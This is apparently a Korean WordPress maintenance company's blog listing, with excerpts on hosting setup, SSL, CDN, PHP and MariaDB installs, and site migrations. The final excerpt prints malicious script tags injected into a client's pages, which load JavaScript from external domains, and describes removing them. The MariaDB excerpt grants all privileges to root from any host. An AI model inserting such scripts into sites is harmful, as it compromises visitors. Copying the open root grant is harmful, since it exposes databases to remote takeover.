• No Image
    BCT 워드프레스 서비스 > 워드프레스 유지보수

    2차 도메인에 연결된 워드프레스 홈페이지 아래에 워드프레스를 다시 설치해야 하는 경우

    웹 호스팅 또는 서버 호스팅에서 2차 도메인에 연결된 워드프레스 홈페이지 아래에 워드프레스를 또 설치해야 하는 경우가 간혹 있습니다. 즉, ab.cdf.com 도메인에서 워드프레스 홈페이지를 운영하고 있는데, 여기에 다시 ab.cdf.coom/apple 로 워드프레스 홈페이지를 제작 및 운영해야 하는 경우 입니다. 단, 설치하려고 하는 워드프레스는 싱글 사이트 입니다. 이 글에서는 웹서버 설정 등의 변수는 제외하고 ab.cdf.com 에 설치된 워드프레스 디렉토리 아래에 apple 디렉토리를 만들고 여기에 워드프레스 파일을 업로드해서 설치가 되는 경우만 가정하고 설명합니다. 일단, 워드프레스가 정상 설치되면 ab.cdf.coom/apple 도메인에서도 워드프레스 홈페이지를 볼 수 있는데, 문제는 서브 페이지 등을 클릭 시 페이지가 없다는 경우가 있습니다. 이 경우를 해결하려면 .htaccess 파일에 다음 부분을 수정해줘야 합니다. # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ – [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /apple/index.php [L] </IfModule> 설정 이후 다시 워드프레스 접속하고 서브 페이지 클릭하면 정상 출력되는 것을 확인할 […]

  • BCT 워드프레스 서비스 > AWS

    워드프레스에 AWS CDN 서비스인 CloudFront 연동 방법

    글로벌 환경에서 자신의 워드프레스 사이트의 접근성을 높이기 위한 용도로 CDN 서비스 도입을 고려하는 경우가 많은데, 이 글에서는 선택 가능한 많은 CDN 서비스 중 AWS CloudFront와 연동하는 방법을 설명합니다. 단, 이 글에서는 AWS Lightsail 에 워드프레스가 설치된 것을 가정하고 있습니다. (단, 일반 호스팅에서 위치한 워드프레스에서도 설정 방법은 동일합니다) 가장 간단한 방법은 플러그인을 활용하는 것인데요, 이 글에서는 Amazon AWS CDN 플러그인을 사용하고 있습니다. (플러그인의 다운로드 및 설치 방법은 생략하고) 플러그인 설치 이후 설정 화면은 다음과 같습니다. 설정 방법은 어렵지 않은데요, 위 그림처럼 Access key ID / Secret Key 값만 올바르게 입력하면 됩니다. Access key ID / Secret Key 을 생성하는 방법은 How To Create An AWS User With Limited Permissions To Access Cloudfront Only 참고 바랍니다. Access key ID / Secret Key를 올바르게 입력하면 설정 화면이 다음과 같이 변경됩니다. AWS CloudFront에서도 다음과 같은 설정 화면을 […]

  • No Image
    BCT 워드프레스 서비스 > 워드프레스 유지보수

    Access-Control-Allow-Origin (CORS origin) 해결 방법

    워드프레스 유료 테마 중 하나인 Avada 테마를 사용해서 제작된 워드프레스 홈페이지에서 웹폰트 에러가 나는 경우가 있습니다. 이 문제를 해결하는 가장 간단한 방법 중 하나는 다음 코드를 .htaccess에 추가하는 것입니다. <IfModule mod_headers.c> <FilesMatch “\.(ttf|ttc|otf|eot|woff|woff2|font.css|css|js)$”> Header set Access-Control-Allow-Origin “*” </FilesMatch> </IfModule> 이 문제에 대한 원인를 알고 싶으면 다음 링크 참고 바랍니다. https://crunchify.com/how-to-fix-access-control-allow-origin-issue-for-your-https-enabled-wordpress-site-and-maxcdn/ BCT 워드프레스 유지보수 / 보안 문의는 다음 링크 참고 바랍니다. BCT CARE SERVICE

  • BCT 워드프레스 서비스 > 워드프레스 유지보수

    카페24 호스팅에서 운영중인 워드프레스 홈페이지에 외부 SSL인증서 설치하는 방법

    카페24 호스팅에서 운영중인 워드프레스 홈페이지가 있습니다. 이 워드프레스 홈페이지에 https 접속되도록 SSL인증서 설치하는 방법을 설명합니다. 여기서 사용된 SSL인증서는 SecureSign 에서 제공하는 Sectigo PositiveSSL 입니다. SecureSign 사이트에서 인증서 신청한 다음 인증서 상품 구매, DCV(도메인권한인증), 발급 완료합니다. 정상적으로 발급이 완료된 경우 다음과 같은 메일을 받게 됩니다. 또한, 위 메일에 cert.zip이 첨부되어 있는데 이 파일을 압축 해제하면 다음과 같은 파일을 볼 수 있습니다. 이제 호스팅 사이트에서 외부인증서 관리 메뉴에서 다음을 입력합니다. 1. 도메인 연결 정보 도메인 연결 정보에서 도메인을 선택합니다. 2. 외부 SSL 인증서 설치 외부 SSL 인증서를 설치합니다. 위 그림의 인증서(SSL CRT) 칸에 도메인_2019101738X9.crt.pem 내용 입력 그리고 [인증서 확인] 버튼 클릭 하단에 SSL 인증서 정보 출력됨 다음으로는 개인티(Private Key) 입력 lawhome.kr_2019101738X9.key.pem 내용 입력 비밀번호(Passphrase) 입력 없이 [신청하기] 버튼 클릭 보통 인증에 3일정도 […]

  • BCT 워드프레스 서비스 > AWS

    Ubuntu 18.04 환경에 Magento 2.2.3 버전 설치 방법

    아마존 AWS에서 Magento 2 솔루션을 설치하는 과정을 설명합니다. 먼저, 설치 환경은 다음과 같습니다. + Ubuntu 18.04 + Magento 2 + Apache2 + MariaDB + PHP 7.1 * 참고로 Magento 2 설치 시 메모리 용량이 최소 2GB 이상은 되어야 정상 설치됩니다. 설치 순서는 다음과 같습니다. Step 1: Install Apache2 HTTP Server on Ubuntu $ sudo apt update $ sudo apt install apache2 Aapache2 stop, start, enable $ sudo systemctl stop apache2.service $ sudo systemctl start apache2.service $ sudo systemctl enable apache2.service Apache2 접속 테스트 http://IP or localhost Step 2: Install MariaDB Database Server $ sudo apt-get install mariadb-server mariadb-client MariaDB stop, start, enable $ sudo systemctl stop mariadb.service $ sudo systemctl start mariadb.service $ sudo systemctl enable mariadb.service root 비밀번호, 원격 접속 설정 등 환경 […]

  • No Image
    BCT 워드프레스 서비스 > 워드프레스 유지보수

    고비즈메일 설정 참고

    해외수출 기업들의 외국어 홈페이지 제작 시 고비즈메일을 이용하는 경우가 간혹 있습니다. 이 경우는 홈페이지 제작은 별도의 도메인/호스팅에서 진행하고, 메일 경우는 고비즈메일을 이용하는 경우입니다. 이 문제는 생각보다 어렵지 않게 해결할 수 있는데요, 홈페이지 도메인의 네임서버 설정에서 MX레코드 값만 추가하면 처리됩니다. MX레코드 값 설정 참고 페이지는 하단과 같습니다. http://www.gobizmail.com/smepage/gobiznews/mainpagefiles/noticeTip_pop.jsp?idx=187 실제 설정 값 추가는 다음과 같습니다. 레코드 타입: 메일서버(MX) 우선순위: 5 호스티명: 도메인명 IP주소: sniper.gobizmail.com 이렇게 설정한 다음 30분~1시간 내 정상적으로 메일이 송/수신 되는 것을 확인할 수 있습니다.

  • No Image
    BCT 워드프레스 서비스 > AWS

    CentOS7.0 에서 yum 방식으로 php 7.0 버전 설치 및 최적화

    CentOS 7.x 버전에서 yum 방식으로 php 5.4.x에서 php 7.0 버전으로 업데이트하는 방법을 살펴 봅니다. 업데이트 순서는 다음과 같습니다. (root 권한으로 수행해야 합니다) # rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm # rpm -Uvh http://rpms.famillecollet.com/enterprise/remi-release-7.rpm # yum list –enablerepo=remi –enablerepo=remi-php70 | grep php 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php70 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc (필요한 패키지 나열) 만약 설치되지 않고 dependency로 인해 정상 설치 되지 않은 경우 설치된 php 및 패키지를 먼저 삭제하고 다시 설치를 합니다. 패키지 삭제 # yum remove php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc 패키지 설치 # yum install –enablerepo=remi –enablerepo=remi-php70 php php-bcmath php-cli php-common php-devel php-gd php-mbstring php-mysql php-odbc php-pdo php-process php-xml php-xmlrpc php-litespeed php-opcache (필요한 패키지 나열) 아파치 재시작 # systemctl restart httpd # php -v [root@calypso ~]# […]

  • No Image
    BCT 워드프레스 서비스 > 워드프레스 유지보수

    CentOS 7에서 MariaDB 설치 및 설정

    CentOS 7 환경에서 MariaDB 설치 및 설정하는 방법을 살펴 보겠습니다. 우선, CentOS 7은 이미 설치된 것으로 가정합니다. 1. MariaDB 설치 방법 웹상에는 이미 MariaDB 설치 방법을 잘 설명해 놓은 문서가 많이 있습니다. 참고: CentOS7 MariaDB 설치 이 문서에서는 DB 시작, root 비밀번호 변경, 포트 확인까지 설명되어 있습니다. 하지만, 원격 접속, 사용자 추가 및 권한 부여 등은 다루지 않고 있습니다. 2. MariaDB 원격 접속 방법 MariaDB 설치 이후 원격에서 접속할 수 있도록 설정하는 방법을 살펴 보겠습니다. $ mysql -uroot -p MariaDB [(none)]> use mysql; MariaDB [(none)]> grant all privileges on*.* to ‘root’@’%’ identified by ‘DB 비밀번호’; MariaDB [(none)]> flush privileges; 3. 사용자 추가 및 권한 부여 이번에는 사용자 추가 및 권한 부여 방법을 살펴 보겠습니다. $ mysql -uroot -p MariaDB [(none)]> use mysql ; // […]

  • BCT 워드프레스 서비스 > 워드프레스 유지보수

    [BCT 워드프레스 유지보수 사례] 워드프레스 다국어 홈페이지 이관 사례

    이번 BCT 워드프레스 유지보수는 영문, 국문, 중문, 스페인 홈페이지 이관 사례입니다. 이 중 중문을 제외하고는 워드프레스 기반인데, 영문, 국문은 워드프레스 멀티사이트로 제작되었고, 스페인 홈페이지는 싱글 워드프레스로 제작된 홈페이지입니다. 중문은 워드프레스 아닙니다. 그 외 홈페이지에서 사용중인 도메인을 회사 메일로 사용중인 것이 좀 문제가 될 수 있을 듯 합니다. 이와 같은 요구사항을 검토한 후, BCT 워드프레스 유지보수에서 운영중인 서버로 이관을 해야 하는데, 평일에는 메일을 중단 할 수 없어 주말에 이관 작업을 하였고, 기존 네임서버을 BCT 워드프레스 유지보수에서 사용중인 네임서버로 변경 시 메일 관련 설정을 추가로 해야 하나 했는데, 네임서버 이관 시 기타 네임서버 설정은 자동으로 가져와서 어렵지 않게 홈페이지 이관을 마무리 할 수 있었습니다. 중문, 스페인 홈페이지는 다행히 아직 외부 링크가 살아 있어서 별도의 이관 작업 없이 운영이 되었습니다.

  • BCT 워드프레스 서비스 > 워드프레스 유지보수

    [BCT 워드프레스 유지보수 사례] 워드프레스 로딩 속도 문제로 인해 이관

    BCT 워드프레스 유지보수 서비스 런칭 이후 워드프레스의 특징으로 인한 문제로 인해 홈페이지의 정상 운영이 어려운 고객분들이 연락을 주십니다. 이번 사례는 워드프레스로 접속된 홈페이지의 로딩 속도가 느려서 이 문제를 해결하고 싶다는 경우입니다. 고객님으로부터 워드프레사 파일/DB 백업 파일을 받아서 이관을 해 보니 홈페이지는 정상적으로 보이지만, 역시 개별 페이지 접속 시 로딩 속도 문제가 있었습니다. 이 경우는 대부분 글 또는 페이지 앞 뒤에 이상한 스크립트 코드가 추가되어 해당 페이지 로딩 시 외부 리소스를 요청하면서 발생하는 경우입니다. 아니나 다를까 워드프레스 관리자로 접속해서 개별 페이지를 살펴보니 다음과 같은 스크립트 코드가 한 가득 있었습니다. <script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script type=’text/javascript’ src=’https://con1.sometimesfree.biz/c.js’></script><script src=’https://traffictrade.life/scripts.js’ type=’text/javascript’></script> 위 경우처럼 정체를 알 수 없는 스크립트가 코드가 모든 페이지에 추가되어 있었고, 이로 인해 페이지 로딩 속도가 느린 것이었습니다. 이 코드를 모두 제거하였더니 모든 페이지가 이제 정상적인 속도로 로딩 되었습니다. 다행히 이 경우는 문제의 원인을 알기가 […]

이전11234567/7
위로이동